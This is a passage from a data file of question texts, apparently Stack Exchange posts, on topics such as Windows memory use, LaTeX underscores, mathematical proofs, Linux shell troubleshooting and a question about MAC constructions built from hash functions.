looked in the processes tab, but nothing seems to be out of the ordinary. How can I find out why my Windows is using so much RAM. all processes from all users Reading from the poolmon it seems that my wireless broadcom driver is using about 0.4GB of of RAM. Even if I remove it would still be using 2.6GB on start-up, which is still too much. After reinstalling the wireless driver associated with the memory leak. I have a new screenshot and would like to confirm that it was indeed a memory leak.", "The situation is my has been enchanted with . The creature has when it dies, return it to his owner’s hand The enchantment says When enchanted creature dies, return that card to the battlefield under your control with a +1/+1 counter on it. Who gets the creature? Me or my rival? Does the creature ability trigger before or after enchantment?", "Shell script works when saved with nano but not when saved with Notepad++ When I copy my bash script across from Notepad++ into a new file with nano editor inside SSH and save. It runs fine. (sh ./install). But if I save the file (Exact same contents), upload to my web server, download it using Wget on the same machine. I get syntax errors. I've checked the encoding and they seem to be the same. I have since used a plethora of character encoding to see if it will resolve the issue. I am also setting the file to executable once I download it using wget! The file runs fine and I have zero errors when copy and pasting using nano. Any idea what this may be?", "How can I monitor internet usage in my network? I need to know which computer is consuming my bandwidth. Is there a tool to do this?", "Underscores in words (text) How can I produce the text Word_one_two in LaTeX? I tried: Samp\\_Dist\\_Corr But, it doesn't quite look right. Also, I want it in the typewriter font, so actually, I'm doing: \\texttt{Samp\\_Dist\\_Corr} I find it looks a bit like the underscore is merging in to the bottom of the \"D\", but maybe it's just because of the typewriter D?", "let a,b be real numbers and $\\varepsilon>0$. prove the above inequality. I dont know how to even start. please, I need your help." ]

[ "Why $∀x(P(x)→Q)$ is equivalent to $∃xP(x)→Q$ Given $x$ occurs free in $P$. If $x$ does not occur free in $Q$, then $∀x(P(x)→Q)$ is semantically equivalent with $∃xP(x)→Q$. How to understand this statement. And also, need an example to show that the formula will not necessarily be equivalent if $x$ does occur free in $Q$. I guess what struggles me is I'm not quite understand what does \"free\" mean in this case. But it would be better to have answer for the above question.", "Why does performance of a regular hard drive decrease over the duration of a benchmark while SSD doesn't? I use HD Tune to measure performance of the hard drive. The tests typically take 2-3 minutes and the transfer rate of a regular hard drive decreases dramatically as the test comes to a close. However, the SSD drive performance stays the same over (pic below) the life of the test. This happens on all my computers. Why is that?", "I will be arriving in Mumbai Terminal T2 on a Turkish Airlines international flight. I have a separately-purchased IndiGo ticket 5 hours later from Terminal 1B (Domestic). In the past I heard of a free bus to transfer. Is that still the case and if not how do I get to Terminal 1B from Terminal 2?", "MATLAB superclass can not be found on the MATLAB's search path", "It would be nice to for . As it is, SE kind of stands out (in a not cool way):", "When a land becomes creature, can you kill it? Some lands have an ability to become a creature, but they usually say they are still a land. If a land is a 3/3 creature and a land, can you target and kill it with a to send it to the graveyard, or does it remain in play as a land?", "Is it possible to determine the exact date and time (if possible) of creation of an Apple ID? Is there any official or unofficial way to establish this if you don't have the initial sign up information recorded?", "I am running out of storage, I usually have bought a lot of my games on disk but if I buy a game on the store then delete it, and want to redownload it do I have to buy it again", "What does the notation like 8.6e-28 mean? What is the 'e' for? I have a problem with the interpretation of a test result in which the p-value is 8.6e-28. How should it be interpreted? What is the e for? Specifically, I used White's Test for the homoscedasticity assumption of a linear regression: White's general test statistic : 150.0535 Chi-sq( 9) P-value = 8.6e-28", "Get list of ALL offers from Amazon Product Advertising API", "How can I reset $PATH to its default value in Ubuntu? I accidentally unset all the directories of $PATH while trying to add a new one in ~/.bashrc. I opened a new terminal window as I was editing and now $PATH is empty. I'm worried if I boot from another drive to find the $PATH I won't be able to boot into this drive again. Basically, what is the default result of echo $PATH?", "How to install the latest versions of NodeJS and NPM? I noticed over at the website that node is currently at v 0.12.0. Can someone let me know how to install the latest version of node together with npm (terminal commands please)?", "What is the purpose of wrapping whole Javascript files in anonymous functions like “(function(){ … })()”?", "Solve the recurrence $T(n) = 2T(n-1) + n$", "How to implement custom icons for my script/addon?", "What countries allow me to pass their borders visa-free? Am I allowed to visit and work in EU and Schengen countries?", "macOS app for showing external HDD usage statistics? I'm planning on selling a used external HDD on eBay. Are there any applications for Mac out there (preferably free) that can show me statistics about the usage history for the drive so that I can let potential buyers know the condition more precisely?", "Why $9$ & $11$ are special in divisibility tests using decimal digit sums? (casting out nines & elevens)", "How do you get assembler output from C/C++ source in gcc? How does one do this? If I want to analyze how something is getting compiled, how would I get the emitted assembly code?", "I am using ring modulator for DSB-SC am modulation in a transmitter circuit. Can anyone please tell me about more DSB SC modulator for am modulation? I want to know which one to use where?" ]

[ "A doubt from Milnor's \"Topology from a Differentiable Viewpoint\". This is a doubt from Milnor's \"Topology from a Differentiable Viewpoint\". For a smooth $f:M\\to N$, with $M$ compact, and a regular value $y\\in N$, we define $n(f^{-1}(y))$ to be the number of points in $f^{-1}(y)$. It is easy to see that $n(f^{-1}(y))$ is finite. It can also be seen that $n(f^{-1}(y))$ is locally constant; i.e. there is a neighbourhood of $y$ such that for every point $y'$ in that neighbourhood, $n(f^{-1}(y'))=n(f^{-1}(y))$. The proof for the statement in bold is the following: Let $x_1,x_2,\\dots,x_n$ be the points of $f^{-1}(y)$, and choose disjoint neighbourhoods $U_1,U_2,\\dots,U_n$ of these points, which are mapped diffeomorphically into neighbourhoods $V_1,V_2,\\dots,V_n$ of $y$. The required neighbourhood is $(V_1\\cap V_2\\cap\\dots V_n)-f(M-U_1-U_2-\\dots U_n)$. I don't understand how $(V_1\\cap V_2\\cap\\dots V_n)-f(M-U_1-U_2-\\dots U_n)$ is open. I know that $(V_1\\cap V_2\\cap\\dots V_n)$ is open. However, how can one prove that $f(M-U_1-U_2-\\dots U_n)$ is closed? I can see this working if $f$ is surjective, but not otherwise.", "Why is an object stuck to another? So I created a Cube in Blender and then I created an Empty beside the Cube (in object mode). Now, when I move the Empty around, the Cube follows... Why?", "Save text area to file", "Running OS X Apps On Ubuntu 14.04 Is there any way that still works to run OS X apps on Ubuntu 14.04? If Darling still works, please tell me how to install it. Thanks. :)", "How do I read / convert an InputStream into a String in Java? If you have a java.io.InputStream object, how should you process that object and produce a String? Suppose I have an InputStream that contains text data, and I want to convert it to a String, so for example I can write that to a log file. What is the easiest way to take the InputStream and convert it to a String? public String convertStreamToString(InputStream is) { // ??? }", "Groups in derived series are normal in the whole group I am considering a finitely generated, solvable group $G$ which has subexponential growth. Let $G=G_0\\vartriangleright G_1\\vartriangleright....\\vartriangleright G_d\\vartriangleright G_{d+1}=1$ denote the derived series of G. It should be the case that $G_d$ is normal in $G$. Does anyone know why this is true? I don't know whether all of the assumptions above are necessary for the result.", "Difference between UART and RS-232? Most of the time and UART come together in serial communication theories. Are they both the same? From my readings I concluded UART is a hardware form of the RS-232 protocol. Am I correct?", "Is the standard Canon 18-55 lens the same as 5 years ago?", "Can a multiclass character with 1 level of wizard copy any wizard spell they find into their spellbook? The "Your Spellbook" sidebar for the wizard includes the following line: Copying a Spell into the Book. When you find a wizard spell of 1st level or higher, you can add it to your spellbook if it is of a level for which you have spell slots and if you can spare the time to decipher and copy it. Does this mean that a Wizard 1/Cleric 19 can copy any wizard spell they find into their spellbook? Is there anything preventing them from casting these spells?", "Topological/Geometrical justification for $\\text{CFT}_2$ being special", "What is the usage of Zero Ohm & MiliOhm Resistor? I am new to PCB design and I noticed that some schematics use 0Ω or 100mΩ resistors. What is their purpose and why do we need to use them in our PCB design? Normally if we wish to probe how much current the load is taking, we put a jumper pin across the PCB trace (then measure current across the pin using a multimeter). Adding resistors for this purpose seems like it would waste a lot of PCB real-estate. Is this the sole reason why 100mΩ resistors are being placed (since I = V/0.1Ω) instead of a jumper pin? If so, is there any consideration we should take when placing such a mΩ resistor on board so it doesn't affect the signal or behaviour of the circuit?", "They agreed to stay connected for hours in their provisional support group, looking for answers in their counterparts. I want to change the bold part to say that they all shared the same problem. Might end up using one of the above, but I feel like I need some more options to weigh in. Edit for context: they all share the same rare cognitive impairment", "Avro Bengali keyboard switches to Malay (Jawi) after upgrade to Ubuntu 17.04", "In chapter 2, the section on bitwise operators (section 2.9), I'm having trouble understanding how one of the sample methods works. Here's the method provided: unsigned int getbits(unsigned int x, int p, int n) { return (x >> (p + 1 - n)) & ~(~0 << n); } The idea is that, for the given number x, it will return the n bits starting at position p, counting from the right (with the farthest right bit being position 0). Given the following main() method: int main(void) { int x = 0xF994, p = 4, n = 3; int z = getbits(x, p, n); printf(\"getbits(%u (%x), %d, %d) = %u (%X)\\n\", x, x, p, n, z, z); return 0; } The output is: getbits(63892 (f994), 4, 3) = 5 (5) I get portions of this, but am having trouble with the \"big picture,\" mostly because of the bits (no pun intended) that I don't understand. The part I'm specifically having issues with is the complements piece: ~(~0 << n). I think I get the first part, dealing with x; it's this part (and then the mask) that I'm struggling with -- and how it all comes together to actually retrieve those bits. (Which I've verified it is doing, both with code and checking my results using calc.exe -- thank God it has a binary view!) Any help?", "pgrouting unexpected output", "Modular exponentiation by repeated squaring", "sed one-liner to delete everything between a pair of brackets? I am working with some text that is full of stuff between brackets [] that I don't want. Since I can delete the brackets myself, I don't need the one-liner to do that for me, but I do need a one-liner that will remove everything between them. What about parentheses () instead of brackets?", "Check for missing fonts/characters in XeLaTeX? Because I began to use many Unicode characters (Japanese, some unusual diacritics, etc.) I switched from LaTeX to XeLaTeX to render my documents. Unfortunately, if a font is missing, the letters are simply left out (for example, when I had forgotten to specify the font for Japanese) without any error (and I can't seem to spot a warning either). I will read the result, but I prefer to get some early warning if some character isn't available. Is there any way to get a warning about characters that have not been rendered? An error would be even better.", "Prevent Word from Including Bullet Letter when Copying Text I'm copying quite a bit of text from Word into a text-based application, line by line. The word text is structured like this: Topic a. Item A b. Item B When I highlight Item A, copy, and then paste into the text-based application, I get a. Item A rather than just Item A as desired. How can I prevent Word from including the bullet letter when copying?", "Field level permissions in Drupal 7 What is the best way to create a piece of content with multiple fields... allowing users to edit the content as a whole yet blocking the ability to edit. The setup I have is a piece of content that has 3 fields: Body, PDF, SWF... and a \"Selector\" (List Text) that's tied via dependancy. So the user chooses BODY, PDF or SWF and that's what available to edit and shown on the page when live. What I want to do is add a PHP field... that's either: greyed out (unable to edit) if your not admin... doesn't show up in the Drop Down list... Can't select it if you can't see it Shows up on the drop down, but the field doesn't show up in the editor without permissions. I hope I'm making sense... I can provide an example if needed." ]

[ "Inconsistency in display of animated avatars It has been discussed previously that animated avatars are disliked because they cause a distraction from the content. However, currently animated avatars are not treated consistently. On desktop, animated avatars are displayed as a still image, both in posts and on the profile page. On mobile, animated avatars are displayed as a still image in posts, but animated on the profile page. I'm tagging this because I'm guessing one of these two is unintended. Either avatars should animate on the profile page on both desktop and mobile, or on neither. (I sincerely hope that we are all agreed there should be no animation of avatars in posts.) Example animated profile This appears to animate on mobile, and show a still image on desktop (for myself and for other users who have tried). I'd also like to hear arguments for and against animating only on the profile page, but the main purpose of this post is to clear up the inconsistency.", "How to find application's path from command line? For example, I have git installed on my system. But I don't remember where I installed it, so which command is fit to find this out?", "Problem 20-9 in Lee's Introduction to Smooth Manifolds (2nd Ed.) asks to prove that for a Lie group $G$, and for $X, Y\\in \\text{Lie}(G)=\\mathfrak g$, there is $\\epsilon>0$ and a smooth map $Z:(-\\epsilon, \\epsilon)\\to \\mathfrak g$ such that $$(\\exp tX)(\\exp tY) = \\exp\\left(t(X+Y) + \\frac{1}{2}t^2[X, Y] + t^3 Z(t)\\right)$$ What we want to show is that the first and second term in the Taylor expansion of $\\exp^{-1}\\left((\\exp tX)(\\exp tY)\\right)$ are $t(X+Y)$ and $\\frac{1}{2}t^2[X, Y]$ respectively. Calculating the first term is easy since we just need to differentiate $\\exp^{-1}((\\exp tX)(\\exp tY))$ with respect to $t$ at $t=0$ once, and this gives the desired result. But for the second term we need to take the second derivative at which I am stuck.", "How much set theory and logic should typical algebraists/analysts/geometers know? (soft-question) I know enough amount of set theory and logic to study grad-level math. However, I don't know more advanced set theory and logic, such as the ones on Kunen's or Shoenfield's texts. Although it's good to learn such advanced topics, I may not have enough time to do so, since I will probably put my emphasis on algebra, analysis or geometry as well as mathematical physics. Although how much set theory and logic I should learn is totally up to what sort of analysis, algebra or geometry I will study, I want to know how much of them typical competitive algebraists/analysts/geometers know. If you are one of them, how much do you know?", "Transforming positively skewed data with positive and negative values My data (see image below) is positively skewed and contains both positive and negative values. I'd like to transform it to achieve normality so I can apply a repeated measures ANOVA, but can't find a technique that works. I've considered the following options: Square-rooting: doesn't keep the sign Square-rooting then making the original negative values negative: makes my data bimodal Natural log transform: can't do this with negative values Add a constant then log transform: this arbitrarily leaves my lowest value as an outlier '' transform (Cox, 2005; also Whittaker et al. 2005): makes my data bimodal Outlier removal (2.5 SD): doesn't fix normality, but an ANOVA on this data has similar results to an ANOVA on the raw data (for better or worse). Perform the non-parametric equivalent (Friedman test) and compare the results: will do this today My supervisor suggests I should stick with the outlier removal though the data is still visibly skewed, and 'see what the reviewers suggest' but I just wanted to check here in case there was anything I was missing. Original data: With outliers (2.5 SD) replaced with the value at that criterion. I later decided to just exclude the outliers, so imagine the highlight data points in each condition removed.", "What kind of ship was flying away from Rey in her flashback? The ship flying away from Rey in her flashback of being left on Jakku looks like one of the ships in the group that takes her away when she is captured. If so, and it is a First Order ship that dropped her off, this is an interesting Easter egg.", "How to pass Unicode characters as JSP/Servlet request.getParameter?", "Is it true that a dihedral group is nonabelian? Is it true that a dihedral group is nonabelian? I'm not sure if the result is true. I checked it for some lower order and I think the result may correct. But I failed to prove/disprove the result.", "Separability over intersection of intermediate fields Let $E\\mathop{/}F$ be a finite-degree normal extension of fields. Let $K$ and $L$ be intermediate fields (that is, $F\\subseteq K\\subseteq E$ and $F\\subseteq L\\subseteq E$) such that $E$ is separable over both $K$ and $L$. Show that $E$ is separable over $K\\cap L$. So I was thinking that if $f=\\min_{K\\cap L}(\\alpha)$. Then $\\min_{K}(\\alpha)$ divides $f$. But if $f$ has repeated roots then I don't see what goes wrong. Thanks!", "Indefinite integral $\\int(\\sin x)^2/(x\\cdot\\cos x-\\sin x)^2\\,dx$ How to find the antiderivative of $\\dfrac{(\\sin x)^2}{(x\\cdot\\cos x-\\sin x)^2}$? I know that series theory can solve the problem. But I wish to solve the problem by the antiderivative way. The numerator and denominator divide the $x^2$ at the same time, don't they?", "Finding center and radius of circumcircle Find the center and radius of the circle which circumscribes the triangle with (complex) vertices $a_1,a_2,a_3$. Express the result in symmetric form. I'm not sure where to start in this question. The circumcenter is the intersection of the perpendicular bisectors, but I don't know how to calculate the line equation of the perpendicular bisectors yet. As for the radius, after we find the circumcenter $c$ we can calculate it using $|c-a_1|$ (or $|c-a_2|$ or $|c-a_3|$; all three should be equal.) So how can I calculate the circumcenter?", "Is it a wise-decision to buy full-frame lenses for use on an APS-C body? I have a Canon 550D which I've been using for around a year now. I really love it and have learned a great deal with this and the 18 - 135mm kit lens. But now with experience I feel the need to get some better glass. I won't be buying a new body any time soon because I figure investing in some good glass is more important. As I have looked around, I see quite a few good used L lenses I can get in ebay for good bargain prices. But I know that the EF lenses don't have the same focal length in the cropped sensors. Is it a wise decision to buy these EF lenses or buy the cropped sensor alternatives? I have the following lenses in mind that I am looking to buy down the line from the canon range over the next several months. 16-35mm f/2.8L, 24-70mm f/2.8L, 70-200 f/4L. Are these apt choices for cropped sensors? I know most pros with FFs use these but I am a bit skeptic that they will serve the same purpose for me. If so what are the alternatives for this that have almost as good image quality?", "\"Actually\" vs \"really\"", "When I am faced with a simple linear congruence such as $$9x \\equiv 7 \\pmod{13}$$ and I am working without any calculating aid handy, I tend to do something like the following: \"Notice\" that adding $13$ on the right and subtracting $13x$ on the left gives: $$-4x \\equiv 20 \\pmod{13}$$ so that $$x \\equiv -5 \\equiv 8 \\pmod{13}.$$ Clearly this process works and is easy to justify (apart from not having an algorithm for \"noticing\"), but my question is this: I have a vague recollection of reading somewhere this sort of process was the preferred method of C. F. Gauss, but I cannot find any evidence for this now, so does anyone know anything about this, or could provide a reference? (Or have I just imagined it all?) I would also be interested to hear if anyone else does anything similar.", "I know that Wubi is slower in disk IO, but I can't find anything about it online other than vague statements such as \"slightly slower disk seeks\". Has anyone done any benchmarks to quantify the speed difference?", "How can I communicate with a Unix domain socket via the shell on Debian Squeeze? I’m running a Debian Squeeze web server. I’ve installed memcached on it, and configured memcached to listen on a Unix domain socket (at /tmp/memcached.sock), as it only needs to receive messages from the website, which lives on the same server. It seems to be working fine, but I’d also like to communicate with memcached via the shell, to check that it’s doing what I think it’s doing. memcached accepts messages via a simple ASCII protocol (if I understand correctly). If it was listening on TCP/IP, I could send messages to it via e.g. nc: $ echo \"stats settings\" | nc localhost 11211 But I can’t figure out how to send that text to the domain socket instead. On my laptop (which runs OS X Lion), both nc and telnet have options (-U and -u respectively) to use domain sockets. However, on my Debian Squeeze web server, these options aren’t present.", "How can I make a more realistic glass shader? Here's a sample scene: A room with a window, a point light to project light into the room, an HDR environment outside the room and a nice Image by Rembrandt that should be somewhat reflected on the glass: Using a standard glass shader on the window, the direct light from the lamp does not shine into the room, regardless of how bright that light is. So I can't recreate the impression of hard day light, with clearly defined areas of light and shadow. Adding a transparent shader to the glass shader I get a very pleasing result. The light from the lamp illuminates into the room creating defined shadows, transparency seems unaffected, to see the HDR in the background, the refection seem correct to me (I also like how I get double reflections from the thick glass). Even though I am quite happy with this solution, I've gotten a few comments on making a setup with light path nodes controlling the mix of transparent and glass. The biggest issue is that the reflections on the glass are brighter than what they should be. So the question is: By using this approach am I messing up any of the qualities of glass? And if so, what would make a proper glass shader that is realistic, in terms of letting direct light through, while keeping reflections, refraction and transparency? A file to play with: The HDR image used was created by", "Influence of charged particle's own electric field on itself I read this in my textbook: A charged particle or object is not affected by its own electric field. Since I find this completely unintuitive and my mind is yelling \"wrong! wrong! how could a particle even distinguish between its own field and the external fields?\" I would really like to hear an explanation about why this is true, if it is. (A corollary question that comes to my mind after thinking about this is... What about gravity and mass considering the analogous situation? And the other two forces?)", "What is the Mediator in this Feynman Diagram $q\\bar{q} \\rightarrow gg$? Let's consider the t-channel version of the process $q\\bar{q} \\rightarrow gg$. What is the mediator in this case, a $q$ or a $\\bar{q}$? Naively, I would have thought a $q$ (as to have one fermion line), but I am not $100 \\%$ sure.", "Why is there a big delay after entering a wrong password? I notice a weird (well, according to me) thing about passwords. For example, if I type an incorrect password during login, there will be a few seconds' delay before the system tells me so. When I try to sudo with a wrong password I would also have to wait before the shell says \"Sorry, try again\". I wonder why it takes so long to \"recognize\" an incorrect password? This has been seen on several distributions I use (and even OSX), so I think it's not a distribution specific thing." ]

[ "I'm reading . Then I'm not able to figure out the difference between hard voting and soft voting in context to ensemble based methods. I quote descriptions of them from the book. The first two images from the top are description for hard voting, and last one is for soft voting. In my view hard voting is majority decision, but I don't understand soft voting and the reason why soft voting is better than hard voting. Would anyone teach me these?", "What's the difference between Invoke() and BeginInvoke() Just wondering what the difference between BeginInvoke() and Invoke() are? Mainly what each one would be used for. EDIT: What is the difference between creating a threading object and calling invoke on that and just calling BeginInvoke() on a delegate? or are they the same thing?", "xdg-open on debian 9 fails to open browser I decided to try lxdm (was using fluxbox and xfce), and discovered that for many programs the url handler was failing, producing this error message; Quite strange as you can see, it's prepending the user directory to the url. The example here is from telegram, but it happens in discord, as well as when executing from the command line; xdg-open https://www.google.com produces a similar error. xdg-settings get default-web-browser output's firefox.desktop which works as a link in both xfce and lxdm. More information; I ran bash -x on it and... $ bash -x /usr/bin/xdg-open http://www.google.com + check_common_commands http://www.google.com + '[' 1 -gt 0 ']' + parm=http://www.google.com + shift + case \"$parm\" in + '[' 0 -gt 0 ']' + '[' -z '' ']' + unset XDG_UTILS_DEBUG_LEVEL + '[' 0 -lt 1 ']' + xdg_redirect_output=' > /dev/null 2> /dev/null' + '[' xhttp://www.google.com '!=' x ']' + url= + '[' 1 -gt 0 ']' + parm=http://www.google.com + shift + case \"$parm\" in + '[' -n '' ']' + url=http://www.google.com + '[' 0 -gt 0 ']' + '[' -z http://www.google.com ']' + detectDE + unset GREP_OPTIONS + '[' -n LXDE ']' + case \"${XDG_CURRENT_DESKTOP}\" in + DE=lxde + '[' xlxde = x ']' + '[' xlxde = x ']' + '[' xlxde = x ']' + '[' xlxde = xgnome ']' + '[' -f /run/user/1000/flatpak-info ']' + '[' xlxde = x ']' + DEBUG 2 'Selected DE lxde' + '[' -z '' ']' + return 0 + case \"${BROWSER}\" in + case \"$DE\" in + open_lxde http://www.google.com + pcmanfm --help -a is_file_url_or_path http://www.google.com ++ file_url_to_path http://www.google.com ++ local file=http://www.google.com ++ echo http://www.google.com ++ grep -q '^file:///' ++ echo http://www.google.com + local file=http://www.google.com + echo http://www.google.com + grep -q '^/' ++ pwd + file=/home/nesmerrill/.local/share/applications/http://www.google.com + pcmanfm /home/nesmerrill/.local/share/applications/http://www.google.com + '[' 0 -eq 0 ']' + exit_success + '[' 0 -gt 0 ']' + exit 0 The important part seems to be pcmanfm --help -a is_file_url_or_path http://www.google.com but, that command if that's how it was used, doesn't seem to do much of anything? $ pcmanfm --help -a is_file_url_or_path http://www.google.com Usage: pcmanfm [OPTION…] [FILE1, FILE2,...] Help Options: -h, --help Show help options --help-all Show all help options --help-gtk Show GTK+ Options Application Options: -p, --profile=PROFILE Name of configuration profile -d, --daemon-mode Run PCManFM as a daemon --no-desktop No function. Just to be compatible with nautilus --desktop Launch desktop manager --desktop-off Turn off desktop manager if it's running --desktop-pref Open desktop preference dialog --one-screen Use --desktop option only for one screen -w, --set-wallpaper=FILE Set desktop wallpaper from image FILE --wallpaper-mode=MODE Set mode of desktop wallpaper. MODE=(color|stretch|fit|crop|center|tile|screen) --show-pref=N Open Preferences dialog on the page N -n, --new-win Open new window -f, --find-files Open a Find Files window --role=ROLE Window role for usage by window manager --display=DISPLAY X display to use", "A big thank you, Tim Post As you may have seen, this was ’s last week at Stack Overflow. To say that he has been a staple of this company for a very long time is an understatement. Tim has served , evangelist, thought leader, anthropologist, psychologist, and mediator for this site for almost as long as it’s been around. For me personally, Tim has been my right hand in this role. He has educated me on the history of our community, been the person I’ve gone to to ask “why is this thing this way?“, bounced ideas off of, collaborated with, and relied on as a steady voice and a thoughtful teammate. We’re all proud to send him off and support him in any way we can in his next role. Tim has agreed to meet with me once a month to talk these things through moving forward and I’m excited to continue getting his feedback on our initiatives and goals. Thank you, Tim, for being such a stalwart here for so long. We’ll miss you, and look forward to sneaking you into our “Among Us” games for as long as we can. We're also excited to see you request to rejoin the ranks of Stack Overflow moderators and continue to be a pillar in the community.", "Can a Mac be used by different users at the same time? I mean to say that we have a single Mac but 3 users. Can they access the same machine remotely at the same time for developing applications on iPhone or Mac? Does Mac OS X server allow us to do this? If so, how do I configure it for that?", "Attacks of the MAC construction $\\mathcal{H}(m\\mathbin\\|k)$ for common hashes $\\mathcal{H}$? Consider a common practically-collision-resistant hash function $\\mathcal{H}$ (e.g. , , , ), perhaps based on the as are the first three. We define a $\\mathcal{C}$ $$(k,m) \\mapsto \\mathcal{C}(k,m)=\\mathcal{H}(m\\mathbin\\|k)$$ where $\\mathbin\\|$ denotes concatenation, $k$ is a secret key (constant, or at least of fixed size), and $m$ is a message (possibly of variable length). Assume that an adversary can (iteratively) submit queries with $m_j$ and obtain $C(k,m_j)$, and wants to obtain $k$ or otherwise compute $C(k,m)$ for some $m\\ne m_j$. That MAC $\\mathcal{C}$ is not trivially bad. In particular, if $\\mathcal{H}$ was indistinguishable from a random function in the , $\\mathcal{C}$ would be secure. And even though $\\mathcal{H}$ may have the , it does not turn into a devastating attack on $\\mathcal{C}$. The less impractical generic attack that I see is that if a collision was known for $\\mathcal{H}$ with the colliding messages of moderate identical length, it could be deduced countless collisions for $\\mathcal{C}$. Hence security is demonstrably not better than collision-resistance of $\\mathcal{H}$ (for identical-length messages). We could assume that $k$ is half the size of the result of $\\mathcal{H}$, and hope that the security is about or or , 280, 2128, 2256 hash rounds for SHA-1, RIPEMD-160, SHA-256, SHA-512. What are the known attacks against $\\mathcal{C}$ (better than the above), and their cost, for each of these common hashes? Is there hope for an argument that an attack against $\\mathcal{C}$ would turn into an attack of similar cost against $\\mathcal{H}$, or hint of the contrary? Update: this is of interest, but I fail to find that it really answers the present question. Update 2: I am aware that the construction considered is weaker than , and in particular is vulnerable to collision on $\\mathcal H$; I stated that, and that it is thus pointless to have the key wider hopeless to target security against some attacks better than half the hash's size. I'm asking exactly what cryptanalytic attack better than finding a collision on $\\mathcal H$ there are. There is room for such an attack only by exploiting a weakness in the structure or/and the round function of a concrete $\\mathcal H$.", "Hydrostatic pressure - doesn't density vary with depth? Our class is learning about hydrostatic water pressure and we have been told that we can calculate the force of the liquid on an object at any depth using \"the density x 9.8 x the depth\". However, as the depth increases, wouldn't the density of the liquid increase because of the weight of the liquid above it compressing it? So should't there be something in the equation to account for the varying density? To me, \"density x 9.8 x depth\" seems like it is saying that the density will be constant...", "I can't seem to access instance members of the surrounding class from inside an enum, as I could from inside an inner class. Does that mean enums are static? Is there any access to the scope of the surrounding class's instance, or do I have to pass the instance into the enum's method where I need it? public class Universe { public final int theAnswer; public enum Planet { // ... EARTH(...); // ... // ... constructor etc. public int deepThought() { // -> \"No enclosing instance of type 'Universe' is accessible in this scope\" return Universe.this.theAnswer; } } public Universe(int locallyUniversalAnswer) { this.theAnswer = locallyUniversalAnswer; } }", "This is just a curiosity. I have come across multiple proofs of the fact that there are infinitely many primes, some of them were quite trivial, but some others were really, really fancy. I'll show you what proofs I have and I'd like to know more because I think it's cool to see that something can be proved in so many different ways. Proof 1 : Euclid's. If there are finitely many primes then $p_1 p_2 ... p_n + 1$ is coprime to all of these guys. This is the basic idea in most proofs : generate a number coprime to all previous primes. Proof 2 : Consider the sequence $a_n = 2^{2^n} + 1$. We have that $$ 2^{2^n}-1 = (2^{2^1} - 1) \\prod_{m=1}^{n-1} (2^{2^m}+1), $$ so that for $m < n$, $(2^{2^m} + 1, 2^{2^n} + 1) \\, | \\, (2^{2^n}-1, 2^{2^n} +1) = 1$. Since we have an infinite sequence of numbers coprime in pairs, at least one prime number must divide each one of them and they are all distinct primes, thus giving an infinity of them. Proof 3 : (Note : I particularly like this one.) Define a topology on $\\mathbb Z$ in the following way : a set $\\mathscr N$ of integers is said to be open if for every $n \\in \\mathscr N$ there is an arithmetic progression $\\mathscr A$ such that $n \\in \\mathscr A \\subseteq \\mathscr N$. This can easily be proven to define a topology on $\\mathbb Z$. Note that under this topology arithmetic progressions are open and closed. Supposing there are finitely many primes, notice that this means that the set $$ \\mathscr U \\,\\,\\,\\, \\overset{def}{=} \\,\\,\\, \\bigcup_{p} \\,\\, p \\mathbb Z $$ should be open and closed, but by the fundamental theorem of arithmetic, its complement in $\\mathbb Z$ is the set $\\{ -1, 1 \\}$, which is not open, thus giving a contradiction. Proof 4 : Let $a,b$ be coprime integers and $c > 0$. There exists $x$ such that $(a+bx, c) = 1$. To see this, choose $x$ such that $a+bx \\not\\equiv 0 \\, \\mathrm{mod}$ $p_i$ for all primes $p_i$ dividing $c$. If $a \\equiv 0 \\, \\mathrm{mod}$ $p_i$, since $a$ and $b$ are coprime, $b$ has an inverse mod $p_i$, call it $\\overline{b}$. Choosing $x \\equiv \\overline{b} \\, \\mathrm{mod}$ $p_i$, you are done. If $a \\not\\equiv 0 \\, \\mathrm{mod}$ $p_i$, then choosing $x \\equiv 0 \\, \\mathrm{mod}$ $p_i$ works fine. Find $x$ using the Chinese Remainder Theorem. Now assuming there are finitely many primes, let $c$ be the product of all of them. Our construction generates an integer coprime to $c$, giving a contradiction to the fundamental theorem of arithmetic. Proof 5 : Dirichlet's theorem on arithmetic progressions (just so that you not bring it up as an example...) Do you have any other nice proofs?", "If $M$ isn't Noetherian, $M$ has a submodule maximal with respect to being not finitely generated. I'm answering this question: Let $M$ be a module. Show that if $M$ is not Noetherian then $M$ has a submodule $N$ such that $N$ is not finitely generated but $A$ is finitely generated whenever $N < A ≤ M$. The solution starts as follows (I'm following a given solution): Let $Y$ be the set of non-finitely-generated submodules of $M$. If $(N_α)$ is a chain in $Y$ then $Q= \\bigcup_αN_α $ is in $Y$, else $Q$ is f.g., which implies $Q=N_α$ for some $α$, whence $N_α$ is f.g., contradiction. I don't understand why if $Q$ is f.g., then $Q=N_α$ for some $α$? Am I missing some fact? Thanks!", "Proving $1^3+ 2^3 + \\cdots + n^3 = \\left(\\frac{n(n+1)}{2}\\right)^2$ using induction How can I prove that $$1^3+ 2^3 + \\cdots + n^3 = \\left(\\frac{n(n+1)}{2}\\right)^2$$ for all $n \\in \\mathbb{N}$? I am looking for a proof using mathematical induction. Thanks", "Need hint: Determine whether the series $\\sum_{n=1}^{\\infty}(\\frac{n}{n+1})^{n^2}$ is convergent or divergent.", "How to prove floor identities?", "Are there any series whose convergence is unknown? Are there any infinite series about which we don't know whether it converges or not? Or are the convergence tests exhaustive, so that in the hands of a competent mathematician any series will eventually be shown to converge or diverge? EDIT: People were kind enough to point out that without imposing restrictions on the terms it's trivial to find such "open problem" sequences. So, to clarify, what I had in mind were sequences whose terms are composed of "simple" functions, the kind you would find in an introductory calculus text: exponential, factorial, etc.", "Why does `find` not delete the files it found? I'm trying to understand why the find command is not deleting files in one particular case. I've got the following command: find C:\\\\path\\\\to\\\\Pictures\\\\pmcctv -name cap_*.jpg -o -name cap_*.ogg -o -name cap_*.flv -o -name cap_*.mp4 -o -name cap_*.webm -mtime +7 Which returns the files I would expect: C:\\path\\to/Pictures/pmcctv/cap_20160915T193251_620067800.jpg C:\\path\\to/Pictures/pmcctv/cap_20160915T193322_742708800.jpg C:\\path\\to/Pictures/pmcctv/cap_20160916T081046_394767500.jpg C:\\path\\to/Pictures/pmcctv/cap_20160916T081125_615129600.jpg C:\\path\\to/Pictures/pmcctv/cap_20160916T081129_503678200.jpg C:\\path\\to/Pictures/pmcctv/cap_20160916T081255_842394600.jpg C:\\path\\to/Pictures/pmcctv/cap_20160916T161008_693586800.jpg C:\\path\\to/Pictures/pmcctv/cap_20160916T161012_749396800.jpg 